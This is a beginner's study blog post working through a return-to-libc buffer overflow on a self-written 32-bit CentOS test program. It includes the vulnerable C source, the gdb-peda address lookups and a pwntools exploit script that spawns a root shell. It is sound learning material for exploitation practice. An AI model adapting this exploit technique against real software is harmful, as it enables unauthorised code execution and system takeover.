[PYTHON] Try Return to libc due to buffer overflow

Do Return to libc due to buffer overflow described in Binary analysis for the first time After reading a book and understanding the atmosphere for studying, practice without looking at the book

environment

# uname -a
Linux 29b342e56b09 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
# gcc --version
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

goal

Execute libc system function using buffer overflow and start shell

Practice

Check the stack status when calling the system function

test.c

#include <stdio.h>

int main() {
    system("/bin/sh");
    return 0;
}

Compile and run

# gcc -fno-stack-protector -m32 -o test.o test.c
# ./test.o
sh-4.2#
# gdb ./test.o
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /post/c/binaly/_debug/test.o...(no debugging symbols found)...done.
gdb-peda$ b system
Breakpoint 1 at 0x80482e0
gdb-peda$ r
Starting program: /post/c/binaly/_debug/./test.o
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xf7fc8000 --> 0x1c6d88
ECX: 0x94b3c8b3
EDX: 0xffffd7c4 --> 0xf7fc8000 --> 0x1c6d88
ESI: 0x0
EDI: 0x0
EBP: 0xffffd798 --> 0x0
ESP: 0xffffd77c --> 0x8048422 (<main+21>:       mov    eax,0x0)
EIP: 0xf7e3ffa0 (<system>:      push   edi)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7e3ff9c <cancel_handler+220>:     pop    edi
   0xf7e3ff9d <cancel_handler+221>:     ret
   0xf7e3ff9e:  xchg   ax,ax
=> 0xf7e3ffa0 <system>: push   edi
   0xf7e3ffa1 <system+1>:       push   esi
   0xf7e3ffa2 <system+2>:       push   ebx
   0xf7e3ffa3 <system+3>:       mov    esi,DWORD PTR [esp+0x10]
   0xf7e3ffa7 <system+7>:       call   0xf7f427b5 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xffffd77c --> 0x8048422 (<main+21>:      mov    eax,0x0)
0004| 0xffffd780 --> 0x80484c4 ("/bin/sh")
0008| 0xffffd784 --> 0xc000
0012| 0xffffd788 --> 0x804843b (<__libc_csu_init+11>:   add    ebx,0x1bc5)
0016| 0xffffd78c --> 0xf7fc8000 --> 0x1c6d88
0020| 0xffffd790 --> 0x8048430 (<__libc_csu_init>:      push   ebp)
0024| 0xffffd794 --> 0x0
0028| 0xffffd798 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e3ffa0 in system () from /lib/libc.so.6
Missing separate debuginfos, use: debuginfo-install glibc-2.17-317.el7.i686

result The SP has 4 bytes of the return address from the system function and 4 bytes of the argument address of the system function after it. => In other words, in order to execute the system function, it should be necessary to put an appropriate value and the argument of the system function on the stack. I wonder if it's a stack camouflage

Source code for buffer overflow vulnerability

a.c

#include <stdio.h>

void vuln() {
    char buf[32];
    printf("input\n");
    scanf("%[^\n]", buf);
}

int main() {
    vuln();
    printf("Successful completion\n");
    return 0;
}

Compile and run

# gcc -fno-stack-protector -m32 -o a.o a.c
# ./a.o
input
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Successful completion
# ./a.o
input
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

Call system function using buffer overflow

Gather the information you need

  1. address of system function

    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0xf7e3ffa0 <system>
    
  2. Memory address and input offset to put the return address to the main function

Return address: 0xffffd77c Input address: 0xffffd750 Offset: 44

  1. Address of the argument to pass to the system function (look for/bin/sh because you want to start a shell)

    gdb-peda$ find /bin/sh
    Searching for '/bin/sh' in: None ranges
    Found 1 results, display max 1 items:
    libc : 0xf7f81115 ("/bin/sh")
    

exploit.py

from pwn import *

p = process("./a.o")

#offset: 44
#system function address: 0xf7e3ffa0
#Offset for an appropriate address: 4
#system function arguments: 0xf7f81115
p.sendline("A"*44 + "\xa0\xff\xe3\xf7" + "A"*4 + "\x15\x11\xf8\xf7")

p.interactive()

Run

# python3 ./exploit.py
[+] Starting local process './a.o': pid 2455
[*] Switching to interactive mode
input
$ ls
a.c  exploit.py           peda-session-test.o.txt  test.o
a.o  peda-session-a.o.txt  test.c
$ id
uid=0(root) gid=0(root) groups=0(root)

The shell starts up safely

Impressions

The book was intended for beginners and was very easy to read and study. I thought gdb was painful, but I knew the existence of gdb-peda and the work went very well. I don't know the reason, but in the executable file compiled to 64bit, the argument of the system function did not get on the stack and could not be completed. I don't know the difference between 64bit and 32bit due to lack of computer knowledge. I hope you will understand it soon!

Recommended Posts

Try Return to libc due to buffer overflow
Try to implement yolact
How to use return